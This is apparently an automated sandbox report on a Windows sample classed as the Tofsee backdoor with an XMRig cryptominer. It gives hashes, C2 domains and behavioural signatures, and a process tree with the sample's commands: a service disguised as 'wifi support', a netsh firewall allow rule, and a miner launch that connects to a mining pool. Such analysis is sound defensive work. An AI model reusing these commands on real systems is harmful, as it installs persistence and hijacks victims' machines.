Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-09-2022 18:56

General

  • Target

    f89ec97419729707a888b93f307fdb1ca8d18f5133bb1282134f253b208bed05.exe

  • Size

    264KB

  • MD5

    b03fe2e354d4741264b6fb4e25955911

  • SHA1

    e5cc6f38a64ae6e6dd89cba5705b6e587b241cea

  • SHA256

    f89ec97419729707a888b93f307fdb1ca8d18f5133bb1282134f253b208bed05

  • SHA512

    b00e2de1cf34abbb849cd0fa8510afb2a6c05bc55e83fa6cc290308a3fd6d70100103732fc5c0ecce8a7281f8d53ac9af7bb54d3d1165fa895bac64ded65b5af

  • SSDEEP

    6144:4a4XyaiKA+RVP3yVvz+UI7SMtVlFu7z/XySeCetjHgfTy:98fZAK93yVvSUI7SMtVKfy

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f89ec97419729707a888b93f307fdb1ca8d18f5133bb1282134f253b208bed05.exe
    "C:\Users\Admin\AppData\Local\Temp\f89ec97419729707a888b93f307fdb1ca8d18f5133bb1282134f253b208bed05.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zdrogksv\
      2⤵
        PID:448
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rhnqxeyl.exe" C:\Windows\SysWOW64\zdrogksv\
        2⤵
          PID:4348
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zdrogksv binPath= "C:\Windows\SysWOW64\zdrogksv\rhnqxeyl.exe /d\"C:\Users\Admin\AppData\Local\Temp\f89ec97419729707a888b93f307fdb1ca8d18f5133bb1282134f253b208bed05.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zdrogksv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1464
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zdrogksv
          2⤵
          • Launches sc.exe
          PID:3860
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3744
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3892 -s 1044
          2⤵
          • Program crash
          PID:900
      • C:\Windows\SysWOW64\zdrogksv\rhnqxeyl.exe
        C:\Windows\SysWOW64\zdrogksv\rhnqxeyl.exe /d"C:\Users\Admin\AppData\Local\Temp\f89ec97419729707a888b93f307fdb1ca8d18f5133bb1282134f253b208bed05.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3248
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2312
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2568
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3248 -s 512
          2⤵
          • Program crash
          PID:4492
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3892 -ip 3892
        1⤵
          PID:2068
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3248 -ip 3248
          1⤵
            PID:4132

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\rhnqxeyl.exe

            Filesize

            10.4MB

            MD5

            fd94e0f5146acab1c322229f8de7f44f

            SHA1

            15aa73e318e65484b107df7ba398ee635ba12559

            SHA256

            cdf026d39bb42e86f388fd3837f08eda9e8f2a424e9ab979e2d88fc86c29d8bc

            SHA512

            20b55e5876fb8e8242b4a59b556520ed24c6461f723330cc2d1b6904193aabb73f957c06709534bbb33ccfcebc870388c9baded7768e8ec7bd0169c0a7cdfdf2

          • C:\Windows\SysWOW64\zdrogksv\rhnqxeyl.exe

            Filesize

            10.4MB

            MD5

            fd94e0f5146acab1c322229f8de7f44f

            SHA1

            15aa73e318e65484b107df7ba398ee635ba12559

            SHA256

            cdf026d39bb42e86f388fd3837f08eda9e8f2a424e9ab979e2d88fc86c29d8bc

            SHA512

            20b55e5876fb8e8242b4a59b556520ed24c6461f723330cc2d1b6904193aabb73f957c06709534bbb33ccfcebc870388c9baded7768e8ec7bd0169c0a7cdfdf2

          • memory/2312-146-0x00000000010F0000-0x0000000001105000-memory.dmp

            Filesize

            84KB

          • memory/2312-151-0x00000000010F0000-0x0000000001105000-memory.dmp

            Filesize

            84KB

          • memory/2312-168-0x0000000008710000-0x0000000008717000-memory.dmp

            Filesize

            28KB

          • memory/2312-165-0x0000000008080000-0x000000000848B000-memory.dmp

            Filesize

            4.0MB

          • memory/2312-162-0x00000000037D0000-0x00000000037D5000-memory.dmp

            Filesize

            20KB

          • memory/2312-159-0x0000000002570000-0x0000000002580000-memory.dmp

            Filesize

            64KB

          • memory/2312-156-0x0000000002560000-0x0000000002566000-memory.dmp

            Filesize

            24KB

          • memory/2312-153-0x0000000003400000-0x000000000360F000-memory.dmp

            Filesize

            2.1MB

          • memory/2312-152-0x00000000010F0000-0x0000000001105000-memory.dmp

            Filesize

            84KB

          • memory/2568-177-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/2568-172-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/3248-149-0x00000000009A3000-0x00000000009B3000-memory.dmp

            Filesize

            64KB

          • memory/3248-150-0x0000000000400000-0x00000000007E8000-memory.dmp

            Filesize

            3.9MB

          • memory/3892-132-0x0000000000BB8000-0x0000000000BC9000-memory.dmp

            Filesize

            68KB

          • memory/3892-144-0x0000000000400000-0x00000000007E8000-memory.dmp

            Filesize

            3.9MB

          • memory/3892-143-0x0000000000BB8000-0x0000000000BC9000-memory.dmp

            Filesize

            68KB

          • memory/3892-133-0x0000000000B80000-0x0000000000B93000-memory.dmp

            Filesize

            76KB

          • memory/3892-134-0x0000000000400000-0x00000000007E8000-memory.dmp

            Filesize

            3.9MB